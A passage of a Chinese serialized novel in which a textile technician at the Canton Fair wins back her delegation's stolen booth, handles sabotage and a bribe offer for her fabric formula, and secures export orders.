康小夏这时候已经拿着退烧药来了,旁边有热情的乘客已经倒了水过来。 大夫照顾老大娘吃了药,说:“我们先留在这里观察看看。” 这一幕恰被吃完饭经过这里的颜培文看见,她瞧见姜海棠和老大娘,站在过道口冷笑:“要我说就是烟叶熏出病来的!” 第211章 据理力争 “你!”康小夏气得涨红了脸,攥着拳头的指节都泛了白,要不是姜海棠眼疾手快按住她的肩膀,她几乎要冲上去和颜培文理论。 姜海棠能理解她的怒火,从火车上的针锋相对,到此刻展位被恶意调换,颜培文的步步紧逼,早已超出了个人恩怨的范畴。 “都怪她,她不道歉,还不反省,真是太过分了。” “一切等到了花城再说吧,现在不是起冲突的时候。” 姜海棠是真的有点疲惫了,这一趟花城之行,怎么就遇到这么个神经病? 老妇人吃过药后沉沉睡去。 姜海棠一直守在旁边,时不时用湿毛巾给她擦汗。两个医生也一直守着,唯恐大娘病情出现反复。 周围的乘客中有人递过来一个小纸包:“这里有点白糖,加在水里,能补充体力。” 大娘吃了药后,大概一个小时左右就退烧了,姜海棠和两名大夫又守了半个小时,确定大娘没有反复发烧后才放心离开,各自回到座位上去。 第二天一早,吃早饭时,康小夏神秘兮兮地凑过来:“海棠姐,听说颜培文昨晚在卧铺车厢发了好大一通脾气,把杯子都摔了!” 姜海棠无奈地摇摇头,这个颜培文,还真是没吃过亏,不知道这天下人外有人山外有山啊! 也不知道,她父亲让她跟这一趟到底是好还是坏啊! 剩下的旅程,基本平稳,一行人很快就到了花城。 花城火车站外,热浪扑面而来。 饶是已经来过一次,已经有准备,姜海棠刚下火车,还是被南方的湿热空气裹得透不过气。 她抬手擦了擦额头的汗,看着站前广场上熙熙攘攘的人群,有挑着扁担的小贩、戴着斗笠的农民、穿着制服的公务人员…… 这座南方大城市的活力,与大西北的金城截然不同。 “海棠姐,车来了!”康小夏指着远处驶来的两辆解放牌卡车,那是广交会组委会安排来接站的车辆。 众人正要搬行李上车,突然一阵刺耳的喇叭声从后方传来。 一辆崭新的上海牌小轿车停在路边,颜培文拎着皮箱,从车站走出来,她的身后跟着两个穿中山装的办事员,殷勤地帮她拉开车门。 “哟,这不是姜老师吗?”颜培文瞥了一眼正在装车的纺织厂众人,红唇勾起一抹讥讽的笑,“坐卡车啊?真是辛苦了呢。” 康小夏气得攥紧了拳头,姜海棠按住她的肩膀,平静地回道:“颜同志和我们自是不一样的,您先请吧。” 颜培文冷哼一声,弯腰钻进轿车。 车窗摇下时,她故意提高声音对司机说:“先去东方宾馆,我要换身衣服再去展馆——这破火车坐得我一身汗臭,都快跟某些人一样了。” 轿车扬长而去,留下一股难闻的汽油味。 “呸!”康小夏对着车尾狠狠啐了一口,“不就是仗着有个当官的爹吗?神气什么!” “欲使其灭亡,必先使其疯狂。不要理会她,我们抓紧时间。”姜海棠拍拍手招呼大家。 赵凯也没有多关注离去的人,扬声喊道:“时间紧张,大家辛苦一下,咱们必须要在广交会开幕之前把展位布置好。” 一行人为了赶时间,甚至都没有先去招待所办理入住,而是直接去了展馆。 卡车驶过繁华的市区,街道两旁张贴着“欢迎参加春季广交会”的标语。 当车子停在流花展馆前时,有工作人员出面接待,一行人获悉他们的展位竟然被安排在最角落的C区23号,一个几乎被柱子挡住的位置。 姜海棠的心沉了下去,这个位置,实在是太糟糕了,要说没有人从中作梗,姜海棠是不愿意相信的。 “这位置也太偏了……”郑开河脸色难看地翻开展位图。 “没想到,颜主任为了这个女儿,连集体的利益都不要了,连龙省的面子都不顾了。” 赵凯捏紧拳头:“真是欺人太甚,他们难道忘了,我们都是代表龙省的?” “出气要紧,别的不能做手脚,难道展位还不能动动手脚?”姜海棠冷笑着。 “那现在怎么办?”郑开河问。 “先看展位图。”姜海棠将那张皱巴巴的图纸在展台上铺开,指尖重重点在A区15号的位置。 “我们龙省的展位原本在这里,我之前已经和组委会确认过。”赵凯疲惫的说道。 “你们看标注的展品类别‘涤棉混纺及化纤制品’,和咱们带来的产品完全基本相同。” 赵凯突然想起什么,从随身的公文包里翻出一份文件:“我这儿有省厅转发的参展名录!岳省轻工原本报的是丝绸制品,根本不是混纺布!这是临时换了展品,意思再明显不过!” 郑开河想到了什么,的脸色瞬间沉得像要滴出水来。 “郑厂长,赵厂长,这个亏我们不能就这么咽下去,就算到最后解决不了问题,也该问一问,我打算去移趟组委会办公室。”姜海棠声音平静却透着不容置疑的坚决。 “我跟你一起去。”赵凯沉着脸跟上,“这事不能就这么算了。” 他才是纺织厂的负责人,不能什么都让姜海棠承担。 “我也去,我和赵厂长是两个厂的负责人,有这个义务!” “其实,郑厂长您不用这样,这次针对的是纺织厂!”姜海棠劝说。 “唇亡齿寒的道理我懂,我们是一起来的,商贸厅的领导说得也很清楚。” 姜海棠没有继续拒绝,毕竟,两个人的分量更足一点。 “我们要不要先找省厅的领导商量一下?”赵凯忽然想起还有带队领导。 “领导有事出去了,这会儿不在,但咱们展位的问题不能拖。”郑开河拧眉说。 也不知道领导到底是真有事出去了,还是已经得到了什么消息才离开的。 “那就不等了。”姜海棠想到领导可能是故意躲出去这个可能,直接开口。 三人穿过嘈杂的展馆,沿途各代表团正热火朝天地布置展位。 A区15号前,几个穿着时髦的年轻人正在悬挂彩色灯笼,开心地笑着说着方言布置着展台。 一个梳着油头的年轻男人正指挥着工人:“把那匹天蓝色的挂高点,这块布颜色鲜亮,让外商一进门就能看见!” 赵凯眯着眼看了半晌,突然冷笑一声:“那布的经密最多200根,纬密150都不到,洗两次就得变形,也敢摆黄金位置?” 姜海棠的目光却落在对方展位的宣传画上印着“岳省最新工艺”的标语旁,画着几个模糊的机器图案。 她不动声色地掏出小本子记了几笔,嘴角勾起一抹冷峭的弧度。 赵凯心中不忿,但也没办法就这样争执,只能扭头不看。 姜海棠拦住一个路过的工作人员问:“同志,请问组委会办公室怎么走?” 工作人员打量着她一眼,语气敷衍,很是不耐烦:“现在都忙着布展呢,有事等明天开幕再说。” “我们有重要的事情向领导汇报,耽误了,你能担得起责任?”姜海棠板着脸一脸严肃的说。 “事关展位分配错误,必须现在解决。“郑开河亮出工作证。 工作人员神色微变,不情愿地指了个方向。 组委会办公室里烟雾缭绕,几个干部模样的人正在喝茶聊天。 赵凯姜海棠敲了三下门才得到回应。 “什么事?”一个梳着背头的中年男子头也不抬地问。 “您好,我们是龙省代表团的。”姜海棠将展位通知书放在桌上,“我们的展位被错误调整到了C区,请予以更正。” 背头男子这才抬起头,眯着眼看了看通知书:“哦,这个啊。展位紧张,临时调整很正常嘛。” “广交会的参展手册第17页明确规定,临时更换展品类别需提前72小时报备,并重新审核展位资格。岳省轻工既未报备,又与我方展品高度重合,凭什么占据A区15号?” “哎呦,这话可不能乱说。人家岳省的工艺更先进,外商就认这个。你们西北的土布嘛……放C区也挺合适。”男子掸了掸烟灰,丝毫不觉得有错,反而语气里都是讥讽。 “您确定?” “确定,有什么不确定的,全国谁不知道,你们龙省是什么鸟不拉屎的地方?怎么,你们还有本事弄出好东西?” “这是我们龙省的涤棉混纺,经纱用的是西疆长绒棉,60支精梳工艺,纬纱掺了18%的进口涤纶,耐光色牢度达到4级以上。” 姜海棠一双眼睛不带温度地打量了一下那明显看不起龙省的男人,一番话说得和缓但有力。 “岳省的样品,用的是普通陆地棉,40支普梳,涤纶含量超过30%,按国际标准只能算劣质品。” 这番话像颗炸雷,让办公室里瞬间安静下来。 一个戴眼镜的干部忍不住探过头:“小姑娘对布料很懂啊?” 背头男人被问得哑口无言,一时恼羞成怒。 姜海棠还是步步紧逼,“同志,能否出示展位调整的书面通知?” 第212章 龙省同意了 “口头通知!哪来那么多文件!你当我们广交会是什么地方?能围着你们龙省这鸟不拉屎的地方转?”男子不耐烦地挥手,“赶紧去布展,别在这儿耽误我们的工夫。” “如果我们不同意呢?”姜海棠寸步不让,目光扫过在场的每一个人,“广交会是国家外贸的窗口,不是某些人谋私利的地方!今天这事要是不解决,我们就去找外贸部的监察组,我就不信,没人管得了这种损公肥私的勾当!” 男人正想找借口搪塞,颜培文却像踩着点似的走了进来。 她今天换了身月白色西装套裙,踩着细跟小皮鞋,走路时裙摆扫过地面,带起一阵淡淡的香水味。 她故作惊讶地挑眉:“郑厂长和赵厂长不去布展,怎么来这儿了?” 郑开河和赵凯两个人都没有说话,只是眉头越拧越紧。 尤其是郑开河,真是深深懊悔,怎么就带了这么一根搅屎棍来参加广交会? 只是搅屎棍也就算了,还是个有后台,他没有办法管得搅屎棍。 “颜培文同志,你不在宾馆熟悉翻译内容,为什么来这里?”郑开河冷着脸问。 “这不是我爸爸让我过来和各位叔叔打个招呼!”颜培文坐下来,有一搭没一搭地回话,甚至正眼都没给郑开河这位副厂长一个。 郑开河如何不明白,这是颜培文在点自己呢。 可都已经闹成这样了,不管怎么样,回去之后,颜家都不会放过自己,想明白了,郑开河反而通透了。 他才要开口要求颜培文回去,就听到颜培文又说话了。 “哎呀,姜老师怎么在这儿?该不会是……”她瞥了眼桌上的文件,“原来是对展位不满意啊?” 一名精瘦的老头儿满脸堆笑:“培文侄女来啦?你爸爸的电话我们收到了,这样的安排,不知道侄女还满意不?” 姜海棠心道:果然如此。 就是不知道,只是为了挟私怨打压,还是借故达成了某种利益输送。 姜海棠心里更愿意相信,是达成了利益输送。 岳省这边估计答应了什么条件,才让颜主任宁愿损害龙省的利益也要打压自己的参展厂家。 “张叔叔,我很满意,我觉得,这样最能体现公平……有些土特产确实不适合放在主展区。”颜培文意有所指地说。 此时的颜培文,丝毫没有觉得自己这么说有什么不对,她似乎已经忘了,自己是龙省代表团的一员,龙省的荣誉和她息息相关。 郑开河捏紧拳头,问:“颜培文,你还记得你的身份吗?龙省的代表团丢脸,对你有什么好处?” “没什么好处,那又怎么样?谁让我看有些人不顺眼呢?要不,姜老师,你给我道个歉?”颜培文的目光盯着姜海棠,眼中都是恨意。 姜海棠其实一直都没明白,为什么颜培文对自己有这么大的恶意,明明两个人接触得都很少。 “颜培文,我什么地方做错了?需要向你道歉?” 姜海棠没有顺着颜培文的意思,选择息事宁人,而是选择直接怼回去。 颜培文显然也没想到,姜海棠会这样不给面子,她刚才敢说这话,就是笃定姜海棠会为了大局选择委曲求全。 “姜海棠,你有没有大局观?” 姜海棠无语。 “颜培文,到底是谁更没有大局观?从火车上到现在,你所作所为需要我给你说一遍吗?” “你是机械厂的翻译,我是纺织厂的技术人员,我们并没有冲突,可从上车开始,你不断地针对我,到现在更是连整个龙省代表团都被你针对。” “你要不要想一想,你父亲的身份,你们这样做真的好吗?就不怕回头没有办法给龙省人民一个交代?” 姜海棠把话都说开了,办公室瞬间安静。 就在这时,门外传来一阵沉稳的脚步声。 姜海棠下意识回头,就看到火车上那个戴眼镜的中年人不知何时站在了门口。 张主任手里的烟掉在了地上:“周……周部长?” 原来,这个和他们一路坐着火车到花城的戴着眼镜的男人,竟然是外贸部的周副部长。 周副部长拿起桌上的文件看了看,冷着一张脸说:“有意思,我昨天才审过最终展位表,怎么今天就变了?” 那个张主任额头上立即冒出大颗大颗的汗珠子。 “周副部长,是这样的……是……是岳省那边的展品更……更符合外商需求……” “你不用解释,龙省的位置,是外贸部定下的,我不管你们用什么办法,一个小时之内,将展位调整回去。” 背头男人吓得腿一软,结结巴巴地说:“岳省已经开始布展了,只怕不好调整了……” “已经开始布展,那就拆了!没有规矩不成方圆,连展位这样的大事,你们都能背着我调整,还有什么事是你们不敢做的?” 颜培文站在一旁,手指绞着连衣裙的衣角,刚才的嚣张气焰荡然无存。 她没想到姜海棠竟然能得到周副部长的支持。 颜培文在火车上的时候,并没有注意到这个戴着眼镜的平凡的小老头儿,因此,她根本不知道,姜海棠和周副部长是在火车上见面的,只以为两个人早就有渊源。 她越发肯定了,姜海棠能认识这样的大人物,是因为陆良辰。 陆良辰是京城人,听说家里底蕴深厚,陆良辰刚到龙省,她父亲就想把她和陆良辰凑成一对,无奈陆良辰装傻充愣就是不同意。 如果陆良辰最后选择了一个各方面都比她出色的,她心气儿也就顺了,谁知道,陆良辰最后竟然找了一个乡下姑娘,这让心高气傲的颜培文不能接受。 后来,姜海棠甚至还给她当老师,她如何能甘愿! “先处理展位的问题,一个小时之后,来给我汇报工作进展情况,并解释为什么会出现展位临时调整的问题。” 张主任想了想,咬牙开口说:“周副部长,展位调整,是龙省那边同意,我们才进行调整的。” 张主任的话像一块石头砸进平静的水面,办公室里所有人的目光都转向了他。 “龙省同意的?”周副部长镜片后的眼睛微微眯起,“谁同意的?” 张主任的喉结滚动了一下,目光不自觉地瞟向颜培文。 “是……是龙省革委会分管外贸的颜副主任亲自打的电话……” 颜培文的脸刷地一下变得惨白。 她猛地站起来:“张叔叔!你胡说什么!我父亲怎么可能……” 话说了一半,她停了下来,她想起来了,是她在商都的时候给父亲打了电话,或许就是为了给自己报仇,父亲才会这么安排。 “她是什么人?”周副部长皱眉问。 “这位就是颜副主任的女儿颜培文!”张主任急忙介绍。 “不相干的人为什么会出现在这里?”周副部长更加不高兴了,这一届的组委会也太失职了。 “她是龙省代表团的人!”张主任讷讷解释。 今天估计这事儿一定不能善了,张主任也顾不得周全别人了,打算先周全自己。 “把岳省那边的负责人也给我找过来,还有龙省这边的负责人,为什么是参展厂子自己出面,负责人是干什么吃的?” 周副部长到了这时候,基本上就是迁怒了,但就算是迁怒,别人也不敢多说什么。 手底下的人马上去找岳省和龙省的负责人了。 周副部长另外又安排,先纠正展台,让各个参展单位能尽快布展。 当岳省代表团的人不情不愿地从A区15号撤出来时,赵凯正指挥着工人把金城纺织厂的样品一样样地搬进去。 赵凯亲自踩着梯子,将一匹孔雀蓝的混纺布高高悬起,布料在灯光下泛着柔和的光泽,引得路过的几个外商都驻足观望。 从梯子上爬下来之后,看着重新布置的展位,突然感慨道:“要不是你坚持,咱们这次真的栽了。” 姜海棠擦了擦额头的汗,望着展馆入口处涌动的人流,坚定地道:“这才只是开始,咱们要让所有人看看,龙省的布料,不输任何人。” “颜主任,为什么要这么做?我们多赚外汇不好吗?”康小夏很是不解。 大家都是为了龙省,作为大领导,怎么能同意将自己家的展位调换到那样偏远的角落里? 康小夏的脑子想不到这么多,只是觉得心塞难以接受。 “等调查结果出来就知道了,我相信,周副部长会给我们一个答案!” 虽然是第一次见周副部长,但姜海棠对这位老人却很是信任。 “嫂子,我们会不会给厂长带来麻烦?”赵凯这时候忽然有些底气不足了。 自家团长已经够艰难了,万一带来麻烦怎么办? “没事,如果他在,也会支持我们这么做的。” 话虽然这么说,但姜海棠觉得,还是应该提前给陆良辰说一声,免得陆良辰陷于被动。 电话打通之后,陆良辰听了姜海棠反馈的信息,陷入沉默。 这事情,于情于理都透露出不正常,毕竟,如果这一次龙省的代表团没有取得好成绩,也是会影响颜主任的。 如果只是为了给女儿出气,应该不至于。 “海棠,这件事,我会着手调查,你和赵凯不用担心,你们只管做好广交会上的工作就行。”陆良辰低声安抚姜海棠。 第213章 心情沉重 电话那头,陆良辰的声音低沉而坚定:“海棠,这件事不简单。你在花城一定要小心,至于你担心的问题,我会想办法处理,你和赵凯安心搞好广交会上就行。“ 虽然陆良辰话说得很坚决,但姜海棠还是担心有问题,她又叮嘱道:“虽然目前看起来,问题是在花城这边,但是我担心……反正,你在京城也要照顾好自己和小桃子。” “海棠,我想起一件事,我这边得到了一个消息,不是十分准确,岳省那边,可能引进了一套和我们类似的纺织生产线,也是生产混纺呢料的。” 姜海棠立即意识到,岳省占据他们比较好的展位,或许是与此有关。 “他们难道还怕我们的产品抢了风头?” “或许,颜副主任这个人,并不是个会为了给女儿出气就不计后果的人,他能答应岳省那边的要求让出展位,最大的可能是,那边许诺了他什么。”陆良辰顿了顿,“这事你先别声张,我会继续查。” 挂断电话,姜海棠站在邮电局门口,望着花城繁华的街道出神。 远处,几个穿着时髦的年轻人正对着橱窗里的进口布料指指点点,那神情就像在看什么稀罕物。 五月的花城,已经有些闷热,让姜海棠心神不宁。她觉得心里沉甸甸的,总觉得好像要出什么事。 “海棠姐,出事了!咱们的样品被人动了手脚!”康小夏气喘吁吁地跑来,连气息都没喘匀磕磕巴巴地说了这个不好的消息。 展馆里,赵凯正脸色铁青地站在A区15号展位前。 那块漂亮的蓝色的混纺布上,赫然出现了一道刺眼的油渍。 “刚才我去上厕所,回来就发现这样了。”一个工人红着眼睛说,“就五分钟没看着……再知道,我就不离开了。” 姜海棠蹲下身,用手指捻了捻油渍:“是机油,还没完全干透。可见,动手的人刚刚离开。”她抬头看向四周,“刚才谁来过?” “我回来的时候,看到岳省的人……”还是那名工人。 赵凯咬牙切齿,“肯定是他们搞的鬼!这是报复我们占了好展位,成心要坏了我们的好事!” 他一拳砸在展台上,红着眼睛说:“我要去找组委会!“ “等等。”姜海棠拦住他,“没证据的事,闹大了反而显得我们无理取闹。” “这个哑巴亏难道我们就要这么吃下?”赵凯不甘心地说。 “君子报仇十年不晚,如果是他们,他们肯定还会跳出来,我们后面谨慎一点。”姜海棠从工具箱里取出剪刀,“小夏,帮我把这块剪下来。” “剪了?”康小夏瞪大眼睛,声音都有些哽咽,“这可是咱们最好的样品!” 不管从颜色,还是质地,这都是他们这一次带过来的最好的布料,要是就这么剪了,她舍不得。 姜海棠已经利落地剪下一块正方形布料。 “总不能挂着这么一块已经有瑕疵的布料吧?我们把这上面完好的料子剪成小样送给客商品鉴。 既然有了蓝色的布料,她索性又剪了几块不同颜色的布料,用别针固定在展板显眼处,形成一个扇形。 “看,这不就成了特色展示?“ 众人眼前一亮。 单调的大块布料展示,变成了错落有致的小样拼贴,反而更显精致。 那块被剪去的油渍部位,正好成了展示布料横截面的窗口。 “妙啊!”郑开河原本正在机械厂的展区布展,听说纺织厂这边出问题了,立即赶过来,就看到姜海棠临危不惧处理问题,拍案叫绝,“姜工,你这脑子转得真快!” 姜海棠笑了笑,目光却扫向不远处岳省的一行人。一个男人正阴沉地盯着这边,见她看过来,恶狠狠地看了她一眼,转身离去。 姜海棠闹不明白,为什么岳省的人抢了他们的展位,他们只是拿回来,岳省的人就这么大的恶意。 “赵厂长,岳省这边的人,敌意很大,今晚你安排两个人守着展位,以后,只要展区开门,就要安排人盯着。”姜海棠低声说。 这一次,只是给样品布抹上油污,下一次呢? 夜幕降临,展馆渐渐安静下来。 虽然赵凯已经安排人守着,但姜海棠还是不放心,也跟着守到了最后, 姜海棠最后一个离开展馆,走到门口时,被一个穿中山装的中年男子拦住。 “姜海棠同志?”男子问。 姜海棠确定自己不认识这个人,但对方问了,她便也点头:“是的!” “我是粤省纺织研究所的刘工,想跟你聊聊。” 姜海棠警惕地看着他:“什么事?” “关于你们的混纺配方,有人出高价要买,价钱好商量……”刘工压低声音,似乎怕周围还有人听到他们说话。 姜海棠心头一跳,面上却不显:“刘同志找错人了,配方是厂里的集体智慧,我个人无权处置。” “别急着拒绝,这笔钱能解决很多问题,也能够保证你以后都过上吃香喝辣的生活。” 姜海棠心中已经升起防备,但表情却依旧平淡。 男人看到她不说话,笑了笑:“明天开幕式后,有个国外客商对你们的布料‘很感兴趣’,姜工好好考虑吧。” 正在这时候,纺织厂两名去上厕所的同志回来了,那男人大步离开,没入夜色。 看着男人远去的背影,姜海棠的手心全是冷汗。 她意识到,这不是简单的商业竞争,而是一场可能与敌特相关的战争。 看来,就算金城那边的敌特已经处置了,并不意味着,整个国内就是一片祥和的。 只是不知道,岳省那边究竟是什么情况,而颜副主任在其中,又是什么作用。 回到招待所,姜海棠翻来覆去睡不着,第二日一大早,她又去了邮局给陆良辰打电话,将这边的情况告知。 听完她的叙述,电话那头沉默了很久。 “海棠,这件事,你亲自去给周副部长汇报一下,周副部长是可信的。另外,不管什么情况,你都要确定你的身边有其他同志在,不要单独与任何人见面。” 挂断电话,姜海棠站在电话前面缓和了一下心情,才转身去了广交会的现场。 今天是广交会正式开幕的日子,而她面临的,将是一场没有硝烟的战争。 刚到广交会现场,康小夏就朝着她冲过来,康小夏的手里还举着一份《南方日报》,脸上都是抑制不住的激动。 “咱们的技术登上报纸了,海棠姐,报上登了咱们的混纺呢料!” 因为激动,康小夏的声音都有些颤抖。 姜海棠接过报纸,在第四版右下角看到一则小消息:《龙省创新混纺技术取得突破》。文 章虽短,却明确提到了金城纺织厂和混纺呢料的特点。 “这是周副部长安排的。”郑开河正好走过来,“我刚从组委会回来,听说今天会有东欧代表团专门来看我们的产品。” 姜海棠问:“郑厂长,周副部长现在在组委会那边吗?” 郑开河点点头:“我过来的时候还在,你现在过去应该能找到。” 姜海棠道谢之后,转身去了组委会办公室那边。 郑开河问:“赵厂长,你们这边能应付吗?需不需要我那边安排人过来协助你们?” 赵凯摇头:“多谢郑厂长,暂时应该没问题,如果中间遇到困难,我会让人去找你们求助。” 两家展台虽然距离不算太远,但毕竟不在同一个种类的区域,来回跑,要花点时间。 姜海棠找到周副部长,将情况仔细给周副部长汇报了。 周副部长开始听的时候,还没觉得有什么,到了后面越听表情越凝重。 “姜海棠同志,我会安排人保护你以及金城纺织厂,也会安排人调查这件事。” 等姜海棠和周副部长谈完话,展馆早已人山人海。 姜海棠好不容易挤到A区15号展位,就看到已经有几个高鼻深目的外国人在展位前驻足。 这几个人是带了翻译的,康小夏和韩知秋两个人也能用外语和他们对话,沟通上没有太大的问题。 姜海棠只是站在角落里看着,并没有上前。 她今天的目标就是低调做人。 其中一位灰发男士笑着用英语说:“我是汉斯·穆勒,对你们的混纺技术很感兴趣。听说,这是你们自主研发的?” 姜海棠立刻精神紧张起来,莫非,这就是那位刘工说的,要来找自己的人? 她装作若无其事的样子,继续站在一旁。 韩知秋很得体地笑着应对:“是的,先生,这是我们厂的科研团队自主研发的技术,目前,这项技术在国际上也是处于领先地位的。” 接下来的半个小时,对方和韩知秋你来我往的说话,期间,有好几次提到能不能见见研发人员。 但韩知秋和姜海棠是有些默契的,在接收到了姜海棠的暗示之后,韩知秋一口咬定,技术人员不在,暂时没有办法满足他们的愿望。 对方显然很失望,最后只说,再去其他展台看看就走了。 康小夏看着对方拉拉杂杂的说了这么长时间,最后还走了,心情就有些受到影响了。 “怎么会这样,我们说了这么多,他们一句还要看看就走了?” 韩知秋安抚她:“这其实很正常,要是每一个来展台的客商都和我们谈成生意,那我们还不发财了?” 第214章 广交会第一天 “你们去年谈得也这么艰难吗?”康小夏好奇地问。 “三天都未必能谈成一笔,不过,不管怎么样,我们还是要积极主动努力地争取。” “好,知秋姐,我也会努力的。”康小夏到底年轻,很快就调整好了精神状态,打算大干一场。 他们今年的展位比去年的大,而且位置更好,加上他们的场馆布置很用心,比去年吸引的外商要多上很多。 姜海棠和韩知秋、康小夏三个人一起接待客商,给客商讲解他们的呢料优点,他们的呢料最具有优势的点就是通过科学配比,兼具保暖性和耐磨性。 这一点吸引了苏国客人,他们很明显对于具有保暖性的料子更加感兴趣。 姜海棠趁机提供了小样,“我们可以提供样品检测。这是不同厚度的样品,分别适合制作大衣或西装。” 一名叫做洛夫斯基的客商在和同伴交谈几句之后,突然问道:“你们月产量多少?价格如何?” 姜海棠心跳加速,这是要下单的节奏!她立即镇定自若地回答:“目前月产两万米,价格是每米12卢布。如果订单量大,可以优先安排生产。” 正当穆勒掏出笔记本要记录时,一个尖锐的声音插了进来:“诸位!他们的技术是抄袭我们的!我们才是正宗的,而且我们的价格更加低廉。” 突如其来的变故让所有人都吃了一惊。 姜海棠看着来势汹汹的一行人,不由拧眉,这种时候,如果和岳省的人起冲突,无疑会让华国成为笑话,但如果不和岳省起冲突,一定会影响龙省的形象。 姜海棠的手指在样品布料上微微收紧,面上却依旧保持着得体的微笑。 她目光扫过岳省代表团领头人那张得意的脸,认出正是昨天在展馆外拦住她的刘为民。 “这位同志,你们这样上门抢客人的做法,违反了广交会相关规定。”姜海棠声音清亮地反驳之后,用流利的外语对外商道歉,请他们稍等。 刘为民高声叫道:“你们龙省穷乡僻壤,哪来的技术力量?就这样落后的纺织品,也敢让外商看,不怕丢了华国的脸?” 姜海棠不理会刘为民,而是转身对洛夫斯基等人说:“我国还有类似的纺织品,他们想邀请诸位去他们的展台参观一下,请问几位意下如何?” 姜海棠分别用两种语言说了这番话,一时之间,所有的人都惊讶地看着她。 毕竟,广交会这么多年,还真没见过要让来自家展台的客人同时去别人家展台看看的。 洛夫斯基等人简单的沟通之后,觉得再去其他展台看看是个很好的建议,立即答应下来。 一行人很快到了岳省的展台,果然,两家的呢料类似,但在质量上,根本不在同一个级别。 能来这里的,都是懂行的人,尤其是洛夫斯基等人的手里还拿着小块的呢料样品,两相对比之后,连连摇头。 “姜小姐,我们还是想去你们的展台看看。” 有了岳省展台面料的对比,洛夫斯基等人对龙省的料子更加感兴趣了。 “不可能,你们到底用了什么手段?”刘为民不肯承认自己的面料不好,只能将问题找到别人的身上。 姜海棠正要反驳,一个洪亮的声音从人群后方传来:“谁说龙省没技术力量?今天的《南方日报》还没有看?上面就刊登了这项技术的相关情况。” 人群自动分开,周副部长带着几位老干部走了过来。 在场的人很多都认识周副部长,刘为民看到来了大领导,也不敢多说话了。 洛夫斯基对姜海棠竖起大拇指:“你们,真正的技术!” 刘为民脸色铁青,还想争辩,周副部长厉声喝道:“够了!刘为民同志,你涉嫌诬陷兄弟单位,破坏外贸工作,现在立刻跟我去组委会说明情况!” 岳省这一次处处不讲规矩,尤其是这个刘为民,明显有问题。 刘为民并不知道,周副部长的人已经盯上他了,还暗暗地冲着姜海棠咬牙。 洛夫斯基当场签下了十万米的订单,是原先预计的五倍! 更让人惊喜的是,其他几位客商看完整场风波后,再次到龙省的展台上参观,在参观的过程中,发现龙省的羊毛衫工艺也非常不错,而且花样很好。 姜海棠拿起一件枣红色羊毛衫:“这是我们新开发的羊毛衫,经过特殊处理不会缩水。” 她突然将羊毛衫团成一团,塞进准备好的水盆里,倒入清水。 在众人惊讶的目光中,她按下秒表:“请各位计时,三分钟后取出。” 三分钟到,姜海棠拧干羊毛衫,当众抖开——衣物完好如初,没有丝毫变形! “太神奇了!”洛夫斯基忍不住用中文惊叹,“这种技术在我国都没见过!” 姜海棠趁机递上样品:“我们还有二十多种颜色可选,每件只要二十五卢布。如果订单超过一万件,可以免费提供定制标签服务。” 洛夫斯基等人立刻围成一团低声讨论。 姜海棠也不打扰他们,而是转头和正在一旁看着他们的周副部长等人说话。 “小姜同志啊,你很厉害嘛。” 他确实没想到,小姜同志除了是技术人员之外,外语说得也很流利。 “您过奖了,我还有很多需要努力的地方。” “你的外语很流利,我们现在需要这样的人才。” 这边话音刚落,洛夫斯基等人已经讨论完毕。 姜海棠给周副部长说了抱歉之后,立即开始下一轮的推荐工作。 他不慌不忙地取出一个相册:“这是我们生产的工装毛衣,已经通过零下二十度耐寒测试。” 洛夫斯基翻看着相册,突然指着其中一页:“这个高领款式,我们要五千件!” “感谢惠顾。”姜海棠从容地取出合同,“为了表示诚意,我们愿意提供独家销售优惠,鉴于您同时订购混纺呢料,针织品可以享受95折优惠。” 其他几个客商听到,同时订购两样物品,还能享受折扣,也没忍住,又订了一些羊毛衫。 短短的一个上午,只是这一批客商,就让龙省取得了开门红。 赵凯捧着订单合同,都要高兴傻了:“同志们,我们创造了龙省纺织厂单日外汇成交记录!” 周副部长笑着说:“姜海棠同志,你为国家和集体争光了!你们龙省,为华国争光了啊!” 龙省一个西北边陲的省份,能取得这样的成绩,着实让他有些意外。 毕竟,之前连续好几年,龙省的纺织厂都没有取得什么好成绩,也就是去年的秋季广交会,才稍见成效,没想到几个月之后,他们这样能打。 看起来,他们对于各省的综合实力,还是不够了解啊! 一行人还没来得及高兴多久,郑开河那边来人了,请姜海棠过去当翻译。 机械厂这一次安排的翻译是颜培文,原本以为,颜培文看不上这个,看不上那个,应该很有水平,谁知道,今天客商一来之后,颜培文根本就一直在掉链子。 郑开河没有办法,只能让人过来请姜海棠。 “周副部长,我现在要去一趟机械厂的展台。” “你还兼机械厂的翻译?机械厂有许多技术术语,你能翻译吗?” 姜海棠点点头:“应付客商足够了!” 周副部长来了兴趣,竟然跟着姜海棠一同去了机械厂的展台。 姜海棠却觉得,周副部长今天放下其他工作跟着自己,绝对不简单。 姜海棠一行人快步穿过嘈杂的展馆,远远就看见机械厂展位前围着一圈人。 郑开河正焦急地张望,看到她时如见救星般挥手。 “怎么回事?郑厂长。”姜海棠挤进人群,低声问道。 郑开河额头上的汗在灯光下闪闪发亮:“颜培文根本听不懂专业术语,而且,她只能听没有办法开口和客商对话,已经冷场十分钟了!” 展台前,颜培文脸色惨白地攥着笔记本,对面站着三位国外的客商,为首的白发老者正指着展台上的纺织机械,不断重复着一个专业词汇。 “她在发抖。“康小夏小声凑近姜海棠说。 姜海棠定睛一看,颜培文的手指确实在微微颤抖,精心修饰的指甲死死掐进掌心。 “让我来吧。”姜海棠缓步走上前,向客商问好:“我是金城机械厂的翻译,抱歉让各位久等了!” 客商们明显地松了一口气,其中一位银发老者说:“终于有个懂专业汉语的人了!” 姜海棠经过简单的沟通之后,微笑转向郑开河:“郑厂长,这位是施密特博士,他问咱们的自动织布机为什么能在不降低转速的情况下减少断线率。” 郑开河眼前一亮:“姜工,今天就靠你了。” 郑开河觉得,对方肯定是有购买的想法的,要不然不会宁愿在这里冷场十分钟也要等待。 姜海棠微笑点头,流畅地将技术术语转化为外语:“……绕线系统减少了40%的摩擦,以此减少断线率。” 随着交流深入,施密特博士的表情从怀疑逐渐变为惊叹。 第215章 我要留在基层 郑开河的手心全是汗,他攥着那份刚签好的合同,指节因为用力而泛白。 二十台自动织布机,这不仅是一笔订单,更是机械厂建厂以来最大的一笔出口生意。更让他心跳加速的是附加条款,客商预订了明年新机型的优先采购权,这意味着他们的产品打入了国际市场。 他抬眸正好看到墙上“发展对外贸易,支援国家建设”的红色标语,此时此刻,那条鲜艳的标语显得格外亮眼,符合他此刻的心情。 “谢谢您的信任!”他用力握住为首那位金发外商的手,声音微微发颤。 “我们将向你们提供全套技术资料,如果有需要,在你们安排食宿的情况下,可以派工程师驻场培训三个月。” 